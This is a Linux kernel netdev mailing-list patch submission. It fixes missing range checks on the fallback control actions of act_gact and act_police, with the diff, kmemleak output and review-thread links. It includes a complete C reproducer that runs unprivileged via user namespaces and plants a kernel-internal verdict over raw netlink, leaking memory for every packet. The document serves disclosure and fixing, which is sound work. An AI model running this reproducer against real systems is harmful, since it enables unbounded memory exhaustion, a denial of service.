From: Hyunjung Ko <hj351016@gmail.com>
To: "David S . Miller" <davem@davemloft.net>,
Eric Dumazet <edumazet@google.com>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Simon Horman <horms@kernel.org>,
Jamal Hadi Salim <jhs@mojatatu.com>,
Jiri Pirko <jiri@resnulli.us>
Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
Hyunjung Ko <hj351016@gmail.com>,
stable@vger.kernel.org
Subject: [PATCH net v2] net/sched: act_gact, act_police: range check the fallback control action
Date: Thu, 6 Aug 2026 19:12:52 +0900 [thread overview]
Message-ID: <20260806101252.809593-1-hj351016@gmail.com> (raw)
tcf_action_check_ctrlact() range checks the primary control action:
if (!opcode)
ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;
TC_ACT_VALUE_MAX is TC_ACT_TRAP, so kernel-internal verdicts above it
cannot be set that way. But act_gact and act_police each carry a second,
independent control action supplied by user space that never reaches that
helper - TCA_GACT_PROB.paction and TCA_POLICE_RESULT. Both only reject
TC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned
verbatim from the action.
In particular user space can store TC_ACT_CONSUMED, which is
TC_ACT_VALUE_MAX + 1 and is deliberately not part of the UAPI value
range. That verdict tells every caller the action took ownership of the
skb, so nobody frees it: sch_handle_ingress(), sch_handle_egress() and
tcf_qevent_handle() all deliberately skip the free for it. The result is
one leaked sk_buff plus its data buffer per packet traversing the filter,
unbounded, for all traffic on the chain including kernel-generated
packets.
Both are trivially deterministic. act_gact clamps tcfg_pval to >= 1, so
with pval = 1 gact_determ() returns the fallback for every packet.
act_police has no mandatory rate, so rate = 0 leaves tcfp_mtu = ~0 and
tcf_police_mtu_check() always passes.
TC_ACT_CONSUMED was added by commit 720f22fed81b ("net: sched: refactor
reinsert action"), after both goto-chain guards were written:
commit 9469f375ab09 ("net/sched: act_gact: disallow 'goto chain' on
fallback control action") and
commit c08f5ed5d625 ("net/sched: act_police: disallow 'goto chain' on
fallback control action"). Neither guard was widened when the new
verdict appeared.
Factor the existing range test out of tcf_action_check_ctrlact() as
tcf_action_valid() and apply it to both fallbacks. The helper cannot call
tcf_action_check_ctrlact() directly because that also allocates a
goto_chain, which is exactly what these two sites must not do.
Reproduced on v7.2-rc6: kmemleak reports one leaked 232-byte
skbuff_head_cache object plus its 704-byte data buffer per packet. With
this patch both configurations are rejected with -EINVAL and kmemleak
reports none.
Fixes: 720f22fed81b ("net: sched: refactor reinsert action")
Cc: stable@vger.kernel.org # v5.3+
Assisted-by: Anthropic-Claude-Code:Claude-Opus-5
Signed-off-by: Hyunjung Ko <hj351016@gmail.com>
---
include/net/act_api.h | 19 +++++++++++++++++++
net/sched/act_gact.c | 5 +++++
net/sched/act_police.c | 6 ++++++
3 files changed, 30 insertions(+)
v2:
- add Assisted-by: tag
- explain below why no tdc case is possible; C reproducer offered
- no functional change
v1: https://lore.kernel.org/netdev/20260805095527.204088-1-hj351016@gmail.com/
No tdc selftest accompanies this one, unlike the act_ct fix: tdc drives
tc(8), and iproute2 only parses symbolic control-action names, so the bad
value cannot be expressed at all.
$ tc actions add action gact drop random determ ok 2
RTNETLINK answers: Operation not permitted <- parsed fine
$ tc actions add action gact drop random determ 9 2
Bad action type 9 <- rejected by iproute2
The fallback therefore has to be planted over raw netlink. Self-contained
reproducer below; on an unpatched kernel it prints
gact fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
skbuff_head_cache 140 -> 364 (+224) after 200 packets
police fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
skbuff_head_cache 364 -> 560 (+196) after 200 packets
and with this patch applied both filters are refused with -EINVAL
"invalid fallback control action" and nothing leaks.
8<--------------------------------------------------
// SPDX-License-Identifier: GPL-2.0
/*
* act_gact / act_police accept an out-of-range fallback control action.
*
* tc(8) cannot express this: iproute2 only parses symbolic action names, so
* the value has to be planted over raw netlink. Build and run as an
* unprivileged user (needs unprivileged userns) or as root:
*
* gcc -O2 -o repro repro.c && ./repro
*
* Needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB, CONFIG_NET_ACT_POLICE.
* Add CONFIG_DEBUG_KMEMLEAK and boot with kmemleak=on to see the leaked
* objects; /proc/slabinfo alone is enough to see the growth.
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#define TC_H_CLSACT 0xFFFFFFF1U
#define TC_H_MIN_INGRESS 0xFFF2U
#define TCA_KIND_ 1
#define TCA_OPTIONS_ 2
#define TCA_ACT_KIND_ 1
#define TCA_ACT_OPTIONS_ 2
#define TCA_MATCHALL_ACT_ 2
#define TCA_GACT_PARMS_ 2
#define TCA_GACT_PROB_ 3
#define TCA_POLICE_TBF_ 1
#define TCA_POLICE_RESULT_ 5
#define PGACT_DETERM_ 2
#define BAD_ACTION 9 /* TC_ACT_CONSUMED, kernel-internal */
struct tc_gen { __u32 index, capab; int action, refcnt, bindcnt; };
struct tc_gact_p_ { __u16 ptype, pval; int paction; };
struct tc_ratespec_ { __u8 cell_log, linklayer; __u16 overhead;
__s16 cell_align; __u16 mpu; __u32 rate; };
struct tc_police_ { __u32 index; int action; __u32 limit, burst, mtu;
struct tc_ratespec_ rate, peakrate;
int refcnt, bindcnt; __u32 capab; };
static int nl;
static char extack[256];
struct req { struct nlmsghdr n; char buf[2048]; };
static void *tail(struct nlmsghdr *n) { return (char *)n + NLMSG_ALIGN(n->nlmsg_len); }
static void addattr(struct nlmsghdr *n, int type, const void *d, int len)
{
struct rtattr *rta = tail(n);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
if (len)
memcpy(RTA_DATA(rta), d, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}
static void addstr(struct nlmsghdr *n, int t, const char *s)
{
addattr(n, t, s, strlen(s) + 1);
}
static struct rtattr *nest(struct nlmsghdr *n, int t)
{
struct rtattr *r = tail(n);
addattr(n, t | NLA_F_NESTED, NULL, 0);
return r;
}
static void unnest(struct nlmsghdr *n, struct rtattr *r)
{
r->rta_len = (char *)tail(n) - (char *)r;
}
static int talk(struct nlmsghdr *n)
{
char rbuf[8192];
struct iovec iov = { n, n->nlmsg_len };
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct msghdr m = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 };
static __u32 seq = 1;
struct nlmsghdr *h;
ssize_t len;
n->nlmsg_seq = ++seq;
n->nlmsg_flags |= NLM_F_ACK;
extack[0] = '\0';
if (sendmsg(nl, &m, 0) < 0)
return -errno;
iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf);
len = recvmsg(nl, &m, 0);
if (len < 0)
return -errno;
for (h = (void *)rbuf; NLMSG_OK(h, (unsigned)len); h = NLMSG_NEXT(h, len)) {
struct nlmsgerr *e = NLMSG_DATA(h);
struct rtattr *rta;
int hlen = sizeof(*e), rl;
if (h->nlmsg_type != NLMSG_ERROR)
continue;
if (e->error && (h->nlmsg_flags & NLM_F_ACK_TLVS)) {
if (!(h->nlmsg_flags & NLM_F_CAPPED))
hlen += e->msg.nlmsg_len - NLMSG_HDRLEN;
rta = (void *)((char *)e + hlen);
rl = h->nlmsg_len - NLMSG_HDRLEN - hlen;
for (; RTA_OK(rta, rl); rta = RTA_NEXT(rta, rl))
if ((rta->rta_type & NLA_TYPE_MASK) == 1)
snprintf(extack, sizeof(extack), "%.*s",
(int)RTA_PAYLOAD(rta),
(char *)RTA_DATA(rta));
}
return e->error;
}
return 0;
}
static void init(struct req *r, int type, int flags, size_t hdr)
{
memset(r, 0, sizeof(*r));
r->n.nlmsg_len = NLMSG_LENGTH(hdr);
r->n.nlmsg_type = type;
r->n.nlmsg_flags = NLM_F_REQUEST | flags;
}
static int veth_add(void)
{
struct req r;
struct rtattr *li, *data, *peer;
struct ifinfomsg ph = {};
init(&r, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, sizeof(struct ifinfomsg));
addstr(&r.n, IFLA_IFNAME, "veth0");
li = nest(&r.n, IFLA_LINKINFO);
addstr(&r.n, IFLA_INFO_KIND, "veth");
data = nest(&r.n, IFLA_INFO_DATA);
peer = nest(&r.n, 1 /* VETH_INFO_PEER */);
memcpy(tail(&r.n), &ph, sizeof(ph));
r.n.nlmsg_len = NLMSG_ALIGN(r.n.nlmsg_len) + NLMSG_ALIGN(sizeof(ph));
addstr(&r.n, IFLA_IFNAME, "veth1");
unnest(&r.n, peer); unnest(&r.n, data); unnest(&r.n, li);
return talk(&r.n);
}
static int link_up(const char *dev)
{
struct req r;
struct ifinfomsg *i;
init(&r, RTM_NEWLINK, 0, sizeof(*i));
i = NLMSG_DATA(&r.n);
i->ifi_family = AF_UNSPEC;
i->ifi_index = if_nametoindex(dev);
i->ifi_flags = i->ifi_change = IFF_UP;
return talk(&r.n);
}
static int clsact_add(void)
{
struct req r;
struct tcmsg *t;
init(&r, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = TC_H_CLSACT;
t->tcm_handle = 0xFFFF0000U;
addstr(&r.n, TCA_KIND_, "clsact");
return talk(&r.n);
}
/* matchall + gact|police whose *fallback* control action is @fallback */
static int filter_add(const char *kind, int fallback)
{
struct req r;
struct tcmsg *t;
struct rtattr *o, *acts, *a1, *ao;
struct tc_gen parm = {};
init(&r, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
t->tcm_info = (1u << 16) | htons(ETH_P_ALL);
addstr(&r.n, TCA_KIND_, "matchall");
o = nest(&r.n, TCA_OPTIONS_);
acts = nest(&r.n, TCA_MATCHALL_ACT_);
a1 = nest(&r.n, 1);
addstr(&r.n, TCA_ACT_KIND_, kind);
ao = nest(&r.n, TCA_ACT_OPTIONS_);
if (!strcmp(kind, "gact")) {
/* ptype = PGACT_DETERM, pval = 1 -> gact_determ() returns the
* fallback for every packet (tcfg_pval is clamped to >= 1). */
struct tc_gact_p_ prob = { PGACT_DETERM_, 1, fallback };
addattr(&r.n, TCA_GACT_PARMS_, &parm, sizeof(parm));
addattr(&r.n, TCA_GACT_PROB_, &prob, sizeof(prob));
} else {
/* rate = 0 leaves tcfp_mtu = ~0, so tcf_police_mtu_check() is
* always true and tcf_police_act() returns tcfp_result. */
struct tc_police_ pol = {};
addattr(&r.n, TCA_POLICE_TBF_, &pol, sizeof(pol));
addattr(&r.n, TCA_POLICE_RESULT_, &fallback, sizeof(fallback));
}
unnest(&r.n, ao); unnest(&r.n, a1); unnest(&r.n, acts); unnest(&r.n, o);
return talk(&r.n);
}
static int filter_flush(void)
{
struct req r;
struct tcmsg *t;
init(&r, RTM_DELTFILTER, 0, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
return talk(&r.n);
}
static long skbs(void)
{
char l[512];
FILE *f = fopen("/proc/slabinfo", "r");
long a = -1;
if (!f)
return -1;
while (fgets(l, sizeof(l), f)) {
char n[128]; long act, num;
if (sscanf(l, "%127s %ld %ld", n, &act, &num) == 3 &&
!strcmp(n, "skbuff_head_cache")) { a = act; break; }
}
fclose(f);
return a;
}
static void inject(int n)
{
unsigned char f[54] = { [0 ... 5] = 0xaa, [6 ... 11] = 0xbb };
struct sockaddr_ll s = { .sll_family = AF_PACKET, .sll_halen = 6 };
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)), i;
f[12] = 0x86; f[13] = 0xdd; /* IPv6 */
f[14] = 0x60; f[20] = 59; f[21] = 64; /* nexthdr NONE, hop limit */
s.sll_ifindex = if_nametoindex("veth1");
memset(s.sll_addr, 0xaa, 6);
if (fd < 0 || bind(fd, (struct sockaddr *)&s, sizeof(s)) < 0)
return;
for (i = 0; i < n; i++)
sendto(fd, f, sizeof(f), MSG_DONTWAIT,
(struct sockaddr *)&s, sizeof(s));
usleep(400000);
close(fd);
}
static void run(const char *kind)
{
long before, after;
int rc;
filter_flush();
rc = filter_add(kind, BAD_ACTION);
printf("\n%-7s fallback = %d (TC_ACT_CONSUMED): %s%s%s\n", kind,
BAD_ACTION, rc ? "REJECTED" : "ACCEPTED BY THE KERNEL",
rc && extack[0] ? " -- " : "", rc ? extack : "");
if (rc)
return;
before = skbs();
inject(200);
after = skbs();
printf(" skbuff_head_cache %ld -> %ld (%+ld) after 200 packets\n",
before, after, after - before);
}
int main(void)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
char b[64];
int on = 1, fd;
uid_t uid = getuid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { write(fd, "deny", 4); close(fd); }
snprintf(b, sizeof(b), "0 %d 1", getgid());
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
snprintf(b, sizeof(b), "0 %d 1", uid);
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
} else if (unshare(CLONE_NEWNET)) {
perror("unshare"); return 1;
}
nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
setsockopt(nl, SOL_NETLINK, 11 /* NETLINK_EXT_ACK */, &on, sizeof(on));
if (bind(nl, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); return 1;
}
if (veth_add() || link_up("veth0") || link_up("veth1") || clsact_add()) {
fprintf(stderr, "setup failed\n"); return 1;
}
run("gact");
run("police");
printf("\nA fixed kernel rejects both with -EINVAL and leaks nothing.\n");
return 0;
}
-------------------------------------------------->8
Reproducer needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB and
CONFIG_NET_ACT_POLICE, plus CONFIG_DEBUG_KMEMLEAK and kmemleak=on to
observe it.
The bad value cannot be set with tc(8) - iproute2 only parses symbolic
action names - so the fallback has to be planted over raw netlink:
TCA_GACT_PROB.paction = 9 with ptype = PGACT_DETERM and pval = 1, or
TCA_POLICE_RESULT = 9 with rate = 0. Attach either to a clsact ingress
chain and every packet leaks its skb.
Before, one sk_buff plus its data buffer per packet:
kmemleak: 166 new suspected memory leaks
unreferenced object 0xffff888103baadc0 (size 232):
kmem_cache_alloc_node_noprof+0x2f1/0x3e0
__alloc_skb+0xe5/0x860
alloc_skb_with_frags+0x82/0x750
sock_alloc_send_pskb+0x658/0x7e0
packet_sendmsg+0x1833/0x4860
__x64_sys_sendto+0xe0/0x1c0
do_syscall_64+0x102/0x5a0
After: both configurations are rejected at netlink time with -EINVAL
and "invalid fallback control action", and kmemleak reports no
unreferenced objects.
For the same reason tdc cannot express the bad configuration, so no
selftest accompanies this patch. A self-contained C reproducer is
available on request.
diff --git a/include/net/act_api.h b/include/net/act_api.h
index 20d9e55f8564..fd03f6319e88 100644
--- a/include/net/act_api.h
+++ b/include/net/act_api.h
@@ -270,6 +270,25 @@ int tcf_action_check_ctrlact(int action, struct tcf_proto *tp,
struct tcf_chain *tcf_action_set_ctrlact(struct tc_action *a, int action,
struct tcf_chain *newchain);
+/* Range check for a control action supplied by user space.
+ *
+ * This is the same test tcf_action_check_ctrlact() applies to the primary
+ * control action, factored out for the *fallback* control actions
+ * (act_gact's TCA_GACT_PROB.paction and act_police's TCA_POLICE_RESULT),
+ * which must not reach tcf_action_check_ctrlact() because they have no
+ * goto_chain to allocate. Without it, user space can store kernel-internal
+ * verdicts such as TC_ACT_CONSUMED, which is TC_ACT_VALUE_MAX + 1 and is
+ * deliberately not part of the UAPI value range.
+ */
+static inline bool tcf_action_valid(int action)
+{
+ int opcode = TC_ACT_EXT_OPCODE(action);
+
+ if (!opcode)
+ return action <= TC_ACT_VALUE_MAX;
+ return opcode <= TC_ACT_EXT_OPCODE_MAX || action == TC_ACT_UNSPEC;
+}
+
#ifdef CONFIG_INET
DECLARE_STATIC_KEY_FALSE(tcf_frag_xmit_count);
#endif
diff --git a/net/sched/act_gact.c b/net/sched/act_gact.c
index e949280eb800..565860cccba6 100644
--- a/net/sched/act_gact.c
+++ b/net/sched/act_gact.c
@@ -89,6 +89,11 @@ static int tcf_gact_init(struct net *net, struct nlattr *nla,
p_parm = nla_data(tb[TCA_GACT_PROB]);
if (p_parm->ptype >= MAX_RAND)
return -EINVAL;
+ if (!tcf_action_valid(p_parm->paction)) {
+ NL_SET_ERR_MSG(extack,
+ "invalid fallback control action");
+ return -EINVAL;
+ }
if (TC_ACT_EXT_CMP(p_parm->paction, TC_ACT_GOTO_CHAIN)) {
NL_SET_ERR_MSG(extack,
"goto chain not allowed on fallback");
diff --git a/net/sched/act_police.c b/net/sched/act_police.c
index b16468a98c55..ce08f6840ef7 100644
--- a/net/sched/act_police.c
+++ b/net/sched/act_police.c
@@ -128,6 +128,12 @@ static int tcf_police_init(struct net *net, struct nlattr *nla,
if (tb[TCA_POLICE_RESULT]) {
tcfp_result = nla_get_u32(tb[TCA_POLICE_RESULT]);
+ if (!tcf_action_valid(tcfp_result)) {
+ NL_SET_ERR_MSG(extack,
+ "invalid fallback control action");
+ err = -EINVAL;
+ goto failure;
+ }
if (TC_ACT_EXT_CMP(tcfp_result, TC_ACT_GOTO_CHAIN)) {
NL_SET_ERR_MSG(extack,
"goto chain not allowed on fallback");
--
2.43.0
next reply other threads:[~2026-08-06 10:13 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-06 10:12 Hyunjung Ko [this message]
2026-08-06 18:48 ` [PATCH net v2] net/sched: act_gact, act_police: range check the fallback control action Jamal Hadi Salim
2026-08-06 18:53 ` Victor Nogueira
2026-08-10 23:20 ` patchwork-bot+netdevbpf
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20260806101252.809593-1-hj351016@gmail.com \
--to=hj351016@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=jhs@mojatatu.com \
--cc=jiri@resnulli.us \
--cc=kuba@kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=stable@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.